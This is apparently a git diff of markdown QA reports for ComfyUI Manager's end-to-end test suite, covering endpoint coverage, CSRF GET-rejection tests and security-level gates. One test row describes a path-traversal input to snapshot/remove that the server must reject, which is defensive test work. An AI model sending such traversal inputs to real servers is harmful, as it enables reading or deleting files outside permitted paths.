-## tests/e2e/test_e2e_customnode_info.py (9 tests)
|
||||
+## tests/e2e/test_e2e_customnode_info.py (11 tests)
|
||||
@@ -120 +120 @@
|
||||
-## tests/e2e/test_e2e_snapshot_lifecycle.py (7 tests)
|
||||
+## tests/e2e/test_e2e_snapshot_lifecycle.py (7 tests)
|
||||
@@ -131 +131 @@
|
||||
-| `TestSnapshotGetCurrentSchema::test_get_current_returns_dict` | GET snapshot/get_current | Response schema | dict type |
|
||||
+| `TestSnapshotRemove::test_remove_path_traversal_rejected` | POST snapshot/remove?target=../... | Path traversal rejected | 400 + sentinel file preserved |
|
||||
@@ -258 +258 @@
|
||||
-## tests/playwright/legacy-ui-navigation.spec.ts (4 tests)
|
||||
+## tests/playwright/legacy-ui-navigation.spec.ts (2 tests)
|
||||
@@ -266,2 +266,0 @@
|
||||
-| `> API health check while dialogs are open` | GET manager/version | … | … |
|
||||
-| `> system endpoints accessible from browser context` | GET manager/version + GET is_legacy_manager_ui | … | … |
|
||||
```
|
||||
|
||||
Note: if Patch Y1 is NOT applied, change `86 → 85`, `118 → 117`, and keep `(7 tests)` but still drop the obsolete `test_get_current_returns_dict` row and add `test_remove_path_traversal_rejected` row (net 7 tests).
|
||||
|
||||
### Patch Y3 — Resolve B-5 (config_api 5 missing rows in audit § 4)
|
||||
|
||||
This requires per-row verdict content (PASS + issue notes) for each of the 5 new tests. Recommend spawning a verification sub-WI that either (a) runs `pytest tests/e2e/test_e2e_config_api.py` and maps each new test to a Goal (C2 / C3 / C5 variants — whitelist rejection, disk persistence), or (b) marks them as "tracked but uncounted" with a preamble note.
|
||||
|
||||
Summary-matrix delta if all 5 added as PASS: `test_e2e_config_api.py: 10 → 15`, Grand TOTAL: `109 → 114` (independent of Patch Y1). Combined with Y1: `109 → 115`.
|
||||
|
||||
### Patch Y4 — Resolve C-1 / C-2 / C-3 (do_fix security level from middle → high)
|
||||
|
||||
```diff
|
||||
--- a/reports/endpoint_scenarios.md
|
||||
+++ b/reports/endpoint_scenarios.md
|
||||
@@ -18 +18 @@
|
||||
-- `middle`: reboot, snapshot/remove, _fix_custom_node, _uninstall_custom_node, _update_custom_node
|
||||
+- `middle`: reboot, snapshot/remove, _uninstall_custom_node, _update_custom_node
|
||||
+- `high`: _fix_custom_node (commit c8992e5d — aligned with README risk matrix)
|
||||
@@ -380 +380 @@
|
||||
-| **middle** | snapshot/remove, reboot | snapshot/remove, reboot, _uninstall, _update, _fix |
|
||||
+| **middle** | snapshot/remove, reboot | snapshot/remove, reboot, _uninstall, _update |
|
||||
+| **high** | _fix_custom_node | _fix |
|
||||
```
|
||||
|
||||
```diff
|
||||
--- a/reports/verification_design.md
|
||||
+++ b/reports/verification_design.md
|
||||
@@ -666 +666 @@
|
||||
-- `middle` — reboot, snapshot/remove, _fix, _uninstall, _update
|
||||
+- `middle` — reboot, snapshot/remove, _uninstall, _update
|
||||
+- `high` — _fix (commit c8992e5d, aligned with README 'fix nodepack' risk tier)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. Final Consistency Status Summary
|
||||
|
||||
| Check | Result |
|
||||
|-------|--------|
|
||||
| `verify_audit_counts.py` exit code | **0 (PASS)** |
|
||||
| Audit Summary Matrix ↔ per-section rows | **Internally consistent** (94/0/0/15/109) |
|
||||
| Design Goal counts (92 base, 95 superset) | **Consistent** across `verification_design.md`, `e2e_verification_audit.md` |
|
||||
| `test_e2e_csrf.py` function/parametrization tally | **Consistent** across 4 cross-referencing reports (4 functions / 29 invocations / 16+2+11) |
|
||||
| Cross-file test-count tally (Playwright) | **1 file out-of-sync** (`e2e_test_coverage.md` claims 21 / 22, rest agree on 20) |
|
||||
| Audit ↔ actual test files (code-level drift) | **3 files out-of-sync**: config_api (+5 rows missing), snapshot_lifecycle (+1 row missing), customnode_info (+1 skip companion, acceptable) |
|
||||
| Security Level Matrix ↔ source code | **Stale for do_fix**: middle vs actual high (commit c8992e5d) |
|
||||
|
||||
### Drift counts by severity
|
||||
|
||||
| Severity | Count | Items |
|
||||
|---------:|------:|-------|
|
||||
| MAJOR (Category B, structural) | **5** | B-1, B-2, B-3, B-4, B-5 |
|
||||
| MAJOR (Category C, semantic/code drift) | **3** | C-1, C-2, C-3 |
|
||||
| MINOR (Category A, cosmetic count/typo) | **4** | A-1, A-2, A-3, A-4 |
|
||||
| MINOR (Category D, observational) | **1** | D-1 (tied to B-4) |
|
||||
| **TOTAL** | **13** | |
|
||||
|
||||
### Interpretation
|
||||
|
||||
The **internal cross-report consistency is strong** — the audit's Summary Matrix parser passes, Design Goal / test-count / CSRF-contract numbers agree across 4–6 cross-referencing reports, and line-range citations (L92–L109, L378–L382) are verified accurate against source code.
|
||||
|
||||
The **external drift** (reports ↔ actual code) is concentrated in two places:
|
||||
|
||||
1. **Newly added tests not yet reflected in the audit matrix** — `test_remove_path_traversal_rejected` (snapshot), 5 new config_api tests (junk_value + disk-persistence), and a skip-companion in customnode_info. These are real, passing tests that should be audited and counted.
|
||||
2. **do_fix security level semantic drift** — commit c8992e5d (2026-04-04) moved the gate from `middle` to `high`, but three reports still document the pre-commit state.
|
||||
|
||||
Neither class of drift invalidates the existing numbered conclusions (the audit passes its own checker); both are about **undercount / stale** rather than contradiction. Priority recommendation: apply Patch Y1 + Y4 before PR (minimal, high-value), defer Patch Y2 + Y3 to a follow-up WI if PR scope is tight.
|
||||
|
||||
---
|
||||
|
||||
*End of Consistency Audit Report Y*
|
||||
@@ -1,203 +0,0 @@
|
||||
# Coverage Gap Analysis — Report A × Report B
|
||||
|
||||
**Generated**: 2026-04-18 (WI-AA inventory update 2026-04-19: +2 LB1/LB2 tests → 119 total; WI-GG update 2026-04-20: +26 legacy CSRF parametrized rows → 145 total; WI-JJ update 2026-04-20: +3 legacy CSRF parity/install rows; WI-LL update 2026-04-20: +2 SECGATE rows → 148 audit rows / 126 test functions)
|
||||
**Inputs**: `reports/endpoint_scenarios.md` (39 handlers, 154 scenarios) + `reports/e2e_test_coverage.md` (126 test functions / 148 audit rows — the row-count delta reflects audit-side per-invocation rendering of legacy CSRF plus the 2 new SECGATE PoC rows; function-level progression is recorded in `e2e_test_coverage.md`)
|
||||
|
||||
> **WI-AA (2026-04-19)**: `tests/playwright/legacy-ui-install.spec.ts` (2 tests: LB1 Install button triggers install effect, LB2 Uninstall button triggers uninstall effect) has been **integrated into the audit** (see `e2e_verification_audit.md` §16). These tests drive the install/uninstall action via the Custom Nodes Manager dialog UI and verify the resulting backend state via `/v2/customnode/installed`. They close the long-standing gap noted in this document's Section 4 for UI-driven install/uninstall effect coverage on the legacy UI. Prior coverage-gap mentions of "missing UI→effect for install/uninstall buttons" are now RESOLVED.
|
||||
>
|
||||
> **WI-GG (2026-04-20)**: `tests/e2e/test_e2e_csrf_legacy.py` (4 test functions / 26 parametrized invocations: 13 reject-GET + 2 POST-works + 11 allow-GET) — from WI-FF — has been **integrated into the audit** (see `e2e_verification_audit.md` §19). This extends the CSRF-Mitigation Layer Coverage block below from glob-only to glob + legacy, closing the regression-guard gap that a legacy-side `@routes.post` revert would have slipped past CI. LB1/LB2 classification as RESOLVED is unchanged.
|
||||
>
|
||||
> **WI-LL (2026-04-20)**: `tests/e2e/test_e2e_secgate_strict.py` (SR4 PoC — strict-mode fixture) + `tests/e2e/test_e2e_secgate_default.py` (CV4 demo — no harness needed) — from WI-KK — have been **integrated into the audit** (see `e2e_verification_audit.md` §20, §21). Two of the original 8 T2 SECGATE-PENDING Goals are now RESOLVED (SR4, CV4); the remaining 6 are reclassified into 4 sub-tiers (T2-pending-harness-ready: SR6/V5/UA2; NORMAL-legacy: LGU2/LPP2; T2-TASKLEVEL: IM4). Section 4 🟢 Low Priority "Security level 403 gates ... impractical in standard E2E env" is now PARTIAL — see the classification policy + propagation plan in `e2e_verification_audit.md`.
|
||||
|
||||
## Summary
|
||||
|
||||
| Metric | Count |
|
||||
|---|---:|
|
||||
| Glob v2 endpoints fully covered (row has no ✗ in Missing scenarios) | 15/30 |
|
||||
| Glob v2 endpoints partially covered (some ✓ + some ✗) | 14/30 |
|
||||
| Glob v2 endpoints NOT covered (positive) | 1/30 |
|
||||
| Legacy-only endpoints fully covered | 0/9 |
|
||||
| Legacy-only endpoints partially covered (indirect only) | 4/9 |
|
||||
| Legacy-only endpoints NOT covered | 5/9 |
|
||||
| Orphan tests (non-endpoint-direct; pytest + Playwright UI-only) | 29 |
|
||||
|
||||
---
|
||||
|
||||
# Section 1 — Endpoint × Test Coverage Matrix (Glob v2)
|
||||
|
||||
Legend: **✓** direct assertion test, **~** indirect / partial, **✗** not tested
|
||||
|
||||
| # | Endpoint | Direct test | Missing scenarios |
|
||||
|---|---|---|---|
|
||||
| 1 | POST queue/task (install) | ✓ test_e2e_endpoint, test_e2e_git_clone, test_e2e_task_operations | ✗ 400 ValidationError (bad kind/schema), ✗ 500 on malformed JSON |
|
||||
| 2 | POST queue/task (uninstall) | ✓ test_e2e_endpoint, test_e2e_task_operations | (shared with #1) |
|
||||
| 3 | POST queue/task (update/fix/disable/enable) | ✓ test_e2e_task_operations | (shared) |
|
||||
| 4 | GET queue/history_list | ✓ test_e2e_queue_lifecycle | ✗ 400 on inaccessible history path |
|
||||
| 5 | GET queue/history | ✓ test_e2e_queue_lifecycle, test_e2e_task_operations | ✗ `id=<batch_id>` file-based query, ✗ path traversal rejection |
|
||||
| 6 | GET customnode/getmappings | ✓ test_e2e_customnode_info | ✗ `mode=nickname`, ✗ missing `mode` KeyError→500 |
|
||||
| 7 | GET customnode/fetch_updates | ✓ test_e2e_customnode_info (410) | (fully covered — deprecated endpoint) |
|
||||
| 8 | POST queue/update_all | ✓ test_e2e_task_operations | ✗ 403 security gate, ✗ `mode=local` vs remote distinction |
|
||||
| 9 | GET is_legacy_manager_ui | ✓ test_e2e_system_info, playwright navigation | (fully covered) |
|
||||
| 10 | GET customnode/installed | ✓ test_e2e_endpoint, test_e2e_customnode_info (both modes) | (fully covered) |
|
||||
| 11 | GET snapshot/getlist | ✓ test_e2e_snapshot_lifecycle, playwright snapshot | (fully covered) |
|
||||
| 12 | POST snapshot/remove | ✓ test_e2e_snapshot_lifecycle | ✗ path traversal "Invalid target" 400, ✗ 403 security gate, ✗ missing `target` query |
|
||||
| 13 | POST snapshot/restore | ✗ **intentionally skipped (destructive)** | ALL scenarios (positive, path traversal, 403) |
|
||||
| 14 | GET snapshot/get_current | ✓ test_e2e_snapshot_lifecycle | (fully covered) |
|
||||
| 15 | POST snapshot/save | ✓ test_e2e_snapshot_lifecycle, playwright snapshot | (fully covered) |
|
||||
| 16 | POST customnode/import_fail_info | ✓ test_e2e_customnode_info (negative only) | ✗ positive path (returning actual failure info) — requires seed failed import |
|
||||
| 17 | POST customnode/import_fail_info_bulk | ✓ test_e2e_customnode_info | ✗ positive path with real failure info |
|
||||
| 18 | POST queue/reset | ✓ test_e2e_queue_lifecycle | (fully covered) |
|
||||
| 19 | GET queue/status | ✓ test_e2e_queue_lifecycle | (fully covered) |
|
||||
| 20 | POST queue/start | ✓ test_e2e_queue_lifecycle (idle + lifecycle) | (fully covered) |
|
||||
| 21 | POST queue/update_comfyui | ✓ test_e2e_task_operations | (fully covered) |
|
||||
| 22 | GET comfyui_versions | ✓ test_e2e_version_mgmt (4 tests) | ✗ 400 on git-access failure |
|
||||
| 23 | POST comfyui_switch_version | ✓ test_e2e_version_mgmt (negative only) | ✗ **positive path (intentionally skipped)**, ✗ 403 security gate |
|
||||
| 24 | POST queue/install_model | ✓ test_e2e_task_operations | (fully covered) |
|
||||
| 25 | GET db_mode | ✓ test_e2e_config_api, playwright manager-menu | (fully covered) |
|
||||
| 26 | POST db_mode | ✓ test_e2e_config_api, playwright manager-menu | ✗ missing `value` KeyError→400 (only malformed JSON tested) |
|
||||
| 27 | GET policy/update | ✓ test_e2e_config_api, playwright | (fully covered) |
|
||||
| 28 | POST policy/update | ✓ test_e2e_config_api, playwright | ✗ missing `value` key |
|
||||
| 29 | GET channel_url_list | ✓ test_e2e_config_api | (fully covered) |
|
||||
| 30 | POST channel_url_list | ✓ test_e2e_config_api | ✗ unknown channel name (silent no-op) |
|
||||
| 31 | POST manager/reboot | ✓ test_e2e_system_info | ✗ __COMFY_CLI_SESSION__ env branch |
|
||||
| 32 | GET manager/version | ✓ test_e2e_system_info, playwright navigation | (fully covered) |
|
||||
|
||||
Note: queue/task has 3 rows above per kind; 30 glob endpoints = 32 row entries (queue/task counted per-kind).
|
||||
|
||||
## Glob v2 Summary
|
||||
|
||||
- **Fully covered** (row has no ✗ in Missing scenarios column): 15 endpoints
|
||||
(is_legacy_manager_ui, customnode/installed, snapshot/getlist, snapshot/get_current, snapshot/save, queue/reset, queue/status, queue/start, queue/update_comfyui, queue/install_model, fetch_updates, get db_mode, get policy/update, get channel_url_list, get manager/version)
|
||||
- **Partially covered** (some ✓ + some ✗ in Missing scenarios): 14 endpoints (row-level collapse of per-kind queue/task into 1 endpoint)
|
||||
- **Intentionally skipped** (destructive, counted under NOT covered): 1 (snapshot/restore); switch_version has ✓ negative + skipped-positive so it falls under partial, not skipped
|
||||
- Sum: 15 + 14 + 1 = 30 ✓
|
||||
|
||||
### CSRF-Mitigation Layer Coverage (separate from positive-path coverage above)
|
||||
|
||||
The 16 state-changing POST endpoints — commit 99caef55 converted 12+ of
|
||||
these from GET→POST (the remainder such as queue/task, import_fail_info,
|
||||
and import_fail_info_bulk were already POST but are included for contract
|
||||
completeness) — are independently covered. Commit 99caef55 applied the
|
||||
conversion to BOTH `comfyui_manager/glob/manager_server.py` (~91 lines)
|
||||
and `comfyui_manager/legacy/manager_server.py` (~92 lines), so two test
|
||||
files are required (the server-loading is mutex on `--enable-manager-legacy-ui`):
|
||||
|
||||
**Glob server**: `tests/e2e/test_e2e_csrf.py` (4 functions / 26 parametrized invocations — post-WI-HH; was 29 before the 3 dual-purpose endpoints were scoped out of the reject-GET fixture)
|
||||
|
||||
| Contract | Test | Coverage |
|
||||
|---|---|---|
|
||||
| Reject GET on 13 state-changing POST endpoints (glob; post-WI-HH) | TestStateChangingEndpointsRejectGet (parametrized ×13) | ✓ full |
|
||||
| POST counterpart sanity (glob) | TestCsrfPostWorks (2 tests) | ~ spot-check (queue/reset + snapshot/save only) |
|
||||
| Read-only GET still allowed — negative control (glob) | TestCsrfReadEndpointsStillAllowGet (parametrized ×11) | ✓ full |
|
||||
|
||||
**Legacy server** (WI-FF, audit-integrated in WI-GG): `tests/e2e/test_e2e_csrf_legacy.py` (4 functions / 26 parametrized invocations)
|
||||
|
||||
| Contract | Test | Coverage |
|
||||
|---|---|---|
|
||||
| Reject GET on 13 state-changing POST endpoints (legacy; queue/task→queue/batch, dual-purpose endpoints scoped to ALLOW-GET only) | TestLegacyStateChangingEndpointsRejectGet (parametrized ×13) | ✓ full |
|
||||
| POST counterpart sanity (legacy) | TestLegacyCsrfPostWorks (2 tests — queue/reset + snapshot/save) | ~ spot-check |
|
||||
| Read-only GET still allowed — negative control (legacy) | TestLegacyCsrfReadEndpointsStillAllowGet (parametrized ×11) | ✓ full |
|
||||
|
||||
**Important**: POST `snapshot/restore` and POST `comfyui_switch_version` are
|
||||
listed as "intentionally skipped (destructive)" for POSITIVE-path coverage,
|
||||
but their CSRF reject-GET contract IS covered by BOTH test files —
|
||||
the destructive-skip only applies to the success-path assertion, not to
|
||||
the security layer. The legacy-side coverage closes the regression-guard
|
||||
gap that a revert of any legacy `@routes.post` back to `@routes.get` would
|
||||
otherwise have slipped past CI.
|
||||
|
||||
---
|
||||
|
||||
# Section 2 — Endpoint × Test Coverage Matrix (Legacy-only)
|
||||
|
||||
| # | Endpoint | Test coverage | Gap |
|
||||
|---|---|---|---|
|
||||
| 1 | POST queue/batch | ~ debug-install-flow captures API sequence indirectly | ✗ No dedicated assertion test for batch semantics |
|
||||
| 2 | GET customnode/getlist | ~ playwright custom-nodes triggers it via UI | ✗ No direct assertion on response shape, `skip_update` param, channel resolution |
|
||||
| 3 | GET /customnode/alternatives | ✗ NOT COVERED | ALL scenarios |
|
||||
| 4 | GET externalmodel/getlist | ~ playwright model-manager triggers via UI | ✗ No direct assertion on `installed` flag population, save_path resolution |
|
||||
| 5 | GET customnode/versions/{node_name} | ~ debug-install-flow captures it | ✗ 400 on unknown pack, no direct test |
|
||||
| 6 | GET customnode/disabled_versions/{node_name} | ✗ NOT COVERED | ALL scenarios |
|
||||
| 7 | POST customnode/install/git_url | ✗ NOT COVERED | ALL (high+ security, may be intentional) |
|
||||
| 8 | POST customnode/install/pip | ✗ NOT COVERED | ALL (high+ security, may be intentional) |
|
||||
| 9 | GET manager/notice | ✗ NOT COVERED | ALL scenarios |
|
||||
|
||||
## Legacy-only Summary
|
||||
|
||||
- **Fully covered**: 0/9
|
||||
- **Indirect-only** (triggered via UI flow but no direct assertion): 4/9
|
||||
- **Not covered**: 5/9
|
||||
|
||||
---
|
||||
|
||||
# Section 3 — Orphan Tests (not mapped to HTTP endpoints)
|
||||
|
||||
Tests that do not directly assert HTTP endpoint behavior:
|
||||
|
||||
| Test file | Tests | Purpose |
|
||||
|---|---:|---|
|
||||
| `tests/cli/test_uv_compile.py` | 8 | `cm-cli --uv-compile` CLI entrypoint (not HTTP). Relocated from `tests/e2e/` in WI-PP (see Recommendations §4 — now ACTIONED). |
|
||||
| `test_e2e_endpoint.py::test_startup_resolver_ran` | 1 | Log file assertion (server log contains UnifiedDepResolver) |
|
||||
| `test_e2e_endpoint.py::test_comfyui_started` | 1 | `/system_stats` (ComfyUI core endpoint, not Manager) |
|
||||
| `test_e2e_git_clone.py::test_02_no_module_error` | 1 | Log file regression check |
|
||||
| Playwright UI-only tests (no API assertion) | ~14 of 22 | UI rendering, dialog lifecycle, filter/search — no HTTP assertion |
|
||||
|
||||
Total orphan tests (non-endpoint-direct): ~29 / 115 (25%)
|
||||
|
||||
---
|
||||
|
||||
# Section 4 — Critical Gaps (Prioritized)
|
||||
|
||||
## 🔴 High Priority — Legacy Endpoints with ZERO UI→effect Test Coverage
|
||||
|
||||
These endpoints ARE actively called by legacy UI JavaScript but have no Playwright test exercising the UI flow:
|
||||
|
||||
| Endpoint | JS call site | Missing UI→effect test |
|
||||
|---|---|---|
|
||||
| POST /v2/customnode/install/git_url | `common.js:248` | "Install via Git URL" button flow |
|
||||
| POST /v2/customnode/install/pip | `common.js:213` | pip install UI flow |
|
||||
| GET /v2/customnode/disabled_versions/{node_name} | `custom-nodes-manager.js:1401` | Node row "Disabled Versions" dropdown |
|
||||
| GET /customnode/alternatives | `custom-nodes-manager.js:1885` | Alternatives display in custom nodes dialog |
|
||||
| GET /v2/manager/notice | `comfyui-manager.js:418` | Notice display on Manager menu open |
|
||||
|
||||
→ These are **NOT dead code** — they require **UI→effect tests added**, not removal.
|
||||
|
||||
## 🟡 Medium Priority — Missing Scenarios (Covered Endpoints)
|
||||
|
||||
1. **queue/task 400 ValidationError** — no test verifies schema rejection. Adding `test_queue_task_invalid_body` with malformed `kind` value would be trivial.
|
||||
2. **queue/history with `id=<batch_id>` + path traversal** — file-based history path not exercised.
|
||||
3. **snapshot/remove path traversal** — security-critical but not asserted.
|
||||
4. **comfyui_versions 400 on git failure** — would need to simulate git unavailable.
|
||||
5. **POST db_mode/policy/update missing `value` key** — currently only tests malformed JSON; KeyError path untested.
|
||||
|
||||
## 🟢 Low Priority — Acceptable Gaps
|
||||
|
||||
1. **snapshot/restore + switch_version positive** — intentionally skipped (destructive). Acceptable.
|
||||
2. ~~**Security level 403 gates** — require running with locked-down security_level; impractical in standard E2E env.~~ **PARTIAL (WI-LL via WI-KK, 2026-04-20)**: SR4 (snapshot/remove middle) + CV4 (comfyui_switch_version high+) are now covered via `test_e2e_secgate_strict.py` and `test_e2e_secgate_default.py` respectively. Remaining SECGATE Goals are reclassified (`e2e_verification_audit.md` classification-policy block): SR6/V5/UA2 are T2-pending-harness-ready (mechanical additions to strict.py); LGU2/LPP2 are NORMAL-legacy (needs `start_comfyui_legacy.sh`); IM4 is T2-TASKLEVEL (queue-observation pattern, not HTTP 403).
|
||||
3. **import_fail_info positive path** — would require seeding a failed module import; complex setup.
|
||||
|
||||
---
|
||||
|
||||
# Section 5 — Recommendations
|
||||
|
||||
1. **Add UI→effect Playwright tests** for the 5 JS-called legacy endpoints (install/git_url, install/pip, disabled_versions, alternatives, manager/notice). All are live in legacy UI flows.
|
||||
2. **Add minimal gap tests** for queue/task ValidationError + snapshot/remove path traversal — both are security-relevant.
|
||||
3. **Convert debug-install-flow.spec.ts** from logging-only into an assertion test (verify queue/batch payload structure + cm-queue-status WebSocket events).
|
||||
4. ~~**Consider moving uv_compile tests** to a separate CLI test directory (tests/cli/) — they are not E2E HTTP tests.~~ **ACTIONED (WI-PP)**: file now lives at `tests/cli/test_uv_compile.py`. CI workflow `.github/workflows/e2e.yml` updated to the new path. Placement hygiene restored.
|
||||
|
||||
---
|
||||
|
||||
# Section 6 — Cross-Report Consistency Check
|
||||
|
||||
| Report A claim | Report B claim | Status |
|
||||
|---|---|---|
|
||||
| 30 glob v2 endpoints | Row-level: 15 fully + 14 partial + 1 NOT covered = 30 (matches Summary L10-12) | ✓ consistent under row-no-✗ definition |
|
||||
| 9 legacy-only endpoints | "4 covered, 5 not covered" | ✓ consistent |
|
||||
| 154 scenarios total | (per-test scenario breakdown) | ⚠️ scenario-level count not aggregated in Report B; recommend adding |
|
||||
| Security gates (middle/middle+/high+) | Security 403 paths not tested | ⚠️ gap confirmed |
|
||||
| Deprecated endpoints flagged | fetch_updates 410 tested | ✓ consistent |
|
||||
|
||||
Internal accounting reconciled under the single "row has no ✗ in Missing scenarios column" definition for "fully covered". Earlier drafts of this report mixed three counting schemes (Summary 24/5/1, body-list 11/15/2, Section 6 27/30) that did not agree; this revision uses the row-level count uniformly (15/14/1 = 30 glob v2 endpoints) and aligns Summary L10-12, body L63-66, and Section 6 L172. Report A (endpoint_scenarios.md) and Report B (e2e_test_coverage.md) align on endpoint counts (30 glob v2 + 9 legacy = 39) and coverage categories under this definition.
|
||||
|
||||
---
|
||||
*End of Coverage Gap Analysis*
|
||||
@@ -1,454 +0,0 @@
|
||||
# Report B — E2E Test Inventory + Coverage Mapping
|
||||
|
||||
**Generated**: 2026-04-18
|
||||
**Source directories**:
|
||||
- `tests/e2e/*.py` (pytest — HTTP + CLI E2E)
|
||||
- `tests/playwright/*.spec.ts` (Playwright — legacy UI E2E)
|
||||
|
||||
## Summary
|
||||
|
||||
| Category | Files | Test Functions |
|
||||
|---|---:|---:|
|
||||
| pytest E2E (HTTP API) | 13 | 92 |
|
||||
| pytest E2E (CLI — uv-compile) | 1 | 12 |
|
||||
| Playwright (legacy UI) | 6 | 21 |
|
||||
| Playwright (debug) | 1 | 1 |
|
||||
| **TOTAL** | **21** | **126** |
|
||||
|
||||
> **Note**: +1 file / +4 functions vs prior counts reflect inclusion of `tests/e2e/test_e2e_csrf.py` (CSRF-mitigation contract suite, commit 99caef55). That suite's 4 test functions parametrize to 26 pytest invocations (13+2+11) after WI-HH removed 3 dual-purpose endpoints from the reject-GET fixture (they legitimately answer GET on the read-path and are covered only in the allow-GET class).
|
||||
>
|
||||
> **WI-Z Y2 sync (2026-04-19)**: Playwright legacy UI count 21 → 19 reflected Stage2 WI-F deletion of two `legacy-ui-navigation.spec.ts` tests (`API health check while dialogs are open`, `system endpoints accessible from browser context`) that were rewritten as direct-API violators; their coverage is now owned by `test_e2e_system_info.py`. TOTAL 119 → 117 was a downstream correction.
|
||||
>
|
||||
> **WI-AA sync (2026-04-19)**: Playwright legacy UI count 19 → 21 reflects addition of `tests/playwright/legacy-ui-install.spec.ts` (2 tests: LB1 Install button + LB2 Uninstall button) previously implemented but not inventoried. TOTAL 117 → 119. See dedicated subsection below.
|
||||
>
|
||||
> **WI-GG sync (2026-04-20)**: pytest E2E (HTTP API) file count 10 → 11 and function count 85 → 89 reflects addition of `tests/e2e/test_e2e_csrf_legacy.py` (4 new test functions / 26 parametrized invocations: 13 reject-GET + 2 POST-works + 11 allow-GET) from WI-FF. TOTAL 119 → 123 test functions. The legacy suite is the counterpart to `test_e2e_csrf.py` for the `--enable-manager-legacy-ui` server variant — required because `comfyui_manager/__init__.py` loads `glob.manager_server` XOR `legacy.manager_server`. See dedicated subsection below. (Accounting note: the higher-level audit `reports/e2e_verification_audit.md` Summary Matrix renders the 26 legacy invocations per-row, reaching TOTAL 143; both counts refer to the same underlying tests at different granularities — function-level here, invocation-level there.)
|
||||
>
|
||||
> **WI-LL sync (2026-04-20)**: pytest E2E (HTTP API) file count 11 → 13 and function count 89 → 92 reflects addition of two new SECGATE-coverage files (WI-KK deliverables, audit-integrated by WI-LL): `tests/e2e/test_e2e_secgate_strict.py` (strict-mode harness + SR4 PoC — 2 functions: `test_remove_returns_403` PASS + `test_post_works_at_default_after_restore` pytest.skip'd positive counterpart stub) + `tests/e2e/test_e2e_secgate_default.py` (default-mode demo + CV4 — 1 function: `test_switch_version_returns_403_at_default` PASS). TOTAL 123 → 126 test functions. These close 2 of the original 8 T2 SECGATE-PENDING Goals (SR4, CV4) and establish the strict-mode harness pattern (`start_comfyui_strict.sh` + config.ini backup/restore) for the remaining T2-pending-harness-ready Goals (SR6, V5, UA2). See the Classification policy block in `e2e_verification_audit.md` for the reclassification and propagation plan.
|
||||
|
||||
**Unique endpoints exercised**: 27 (glob v2) + 4 (legacy-only: queue/batch indirectly via UI)
|
||||
|
||||
---
|
||||
|
||||
# Section 1 — pytest E2E HTTP Tests
|
||||
|
||||
## tests/e2e/test_e2e_endpoint.py (7 tests)
|
||||
|
||||
Covers the main install/uninstall flow via `/v2/manager/queue/task` and `/v2/customnode/installed`.
|
||||
|
||||
| Test | Endpoint(s) | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `TestEndpointInstallUninstall::test_install_via_endpoint` | POST queue/task, POST queue/start | Install CNR pack (success) | pack dir exists + .tracking file present |
|
||||
| `TestEndpointInstallUninstall::test_installed_list_shows_pack` | GET customnode/installed | Pack appears in installed list | cnr_id match in dict values |
|
||||
| `TestEndpointInstallUninstall::test_uninstall_via_endpoint` | POST queue/task kind=uninstall | Uninstall success | pack dir removed from disk |
|
||||
| `TestEndpointInstallUninstall::test_installed_list_after_uninstall` | GET customnode/installed | Post-uninstall state | cnr_id absent from installed list |
|
||||
| `TestEndpointInstallUninstall::test_install_uninstall_cycle` | queue/task x2 | Full install→verify→uninstall cycle | All above assertions in one test |
|
||||
| `TestEndpointStartup::test_comfyui_started` | GET /system_stats | Server health | 200 response |
|
||||
| `TestEndpointStartup::test_startup_resolver_ran` | (log file) | UnifiedDepResolver ran at startup | log contains `[UnifiedDepResolver]` + "startup batch resolution succeeded" |
|
||||
|
||||
## tests/e2e/test_e2e_git_clone.py (3 tests)
|
||||
|
||||
Covers nightly (URL-based) install via `/v2/manager/queue/task` which triggers git_helper.py subprocess.
|
||||
|
||||
| Test | Endpoint(s) | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `TestNightlyInstallCycle::test_01_nightly_install` | POST queue/task selected_version=nightly | git clone via Manager API | pack dir exists + .git directory present |
|
||||
| `TestNightlyInstallCycle::test_02_no_module_error` | (log file) | No ModuleNotFoundError regression | log does not contain "ModuleNotFoundError" |
|
||||
| `TestNightlyInstallCycle::test_03_nightly_uninstall` | POST queue/task kind=uninstall | Uninstall nightly pack | pack dir removed |
|
||||
|
||||
## tests/cli/test_uv_compile.py — RELOCATED (WI-PP)
|
||||
|
||||
Previously tracked here as `tests/e2e/test_e2e_uv_compile.py`. Moved to
|
||||
`tests/cli/` in WI-PP because every test in the suite drives cm-cli as a
|
||||
subprocess; none of them exercise HTTP endpoints. The 8 tests (post
|
||||
WI-MM/NN/OO consolidation) continue to cover install / reinstall (xfail-marked
|
||||
for purge_node_state) / verbs-with-uv-compile (parametrized ×5) / uv-sync
|
||||
no-packs-exits-zero / no-packs-emits-signal / with-packs / conflict
|
||||
attribution with specs. CI runner updated in `.github/workflows/e2e.yml` to
|
||||
point at the new path.
|
||||
|
||||
## tests/e2e/test_e2e_config_api.py (10 tests)
|
||||
|
||||
Covers GET/POST round-trip on configuration endpoints.
|
||||
|
||||
| Test | Endpoint(s) | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `TestConfigDbMode::test_read_db_mode` | GET db_mode | Read current value | text in {cache, channel, local, remote} |
|
||||
| `TestConfigDbMode::test_set_and_restore_db_mode` | GET/POST db_mode | Set→read-back→restore | POST 200 + verify echo + restore verified |
|
||||
| `TestConfigDbMode::test_set_db_mode_invalid_body` | POST db_mode | Malformed JSON | 400 |
|
||||
| `TestConfigUpdatePolicy::test_read_update_policy` | GET policy/update | Read current policy | text in {stable, stable-comfyui, nightly, nightly-comfyui} |
|
||||
| `TestConfigUpdatePolicy::test_set_and_restore_update_policy` | GET/POST policy/update | Set→read-back→restore | Round-trip verification |
|
||||
| `TestConfigUpdatePolicy::test_set_policy_invalid_body` | POST policy/update | Malformed JSON | 400 |
|
||||
| `TestConfigChannelUrlList::test_read_channel_url_list` | GET channel_url_list | Response shape | has `selected` (str) + `list` (array) |
|
||||
| `TestConfigChannelUrlList::test_channel_list_entries_are_name_url_strings` | GET channel_url_list | Entry format | each entry is "name::url" string |
|
||||
| `TestConfigChannelUrlList::test_set_and_restore_channel` | GET/POST channel_url_list | Switch channel + restore | Verify `selected` matches set value |
|
||||
| `TestConfigChannelUrlList::test_set_channel_invalid_body` | POST channel_url_list | Malformed JSON | 400 |
|
||||
|
||||
## tests/e2e/test_e2e_customnode_info.py (11 tests)
|
||||
|
||||
Covers custom node info/mapping endpoints.
|
||||
|
||||
| Test | Endpoint(s) | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
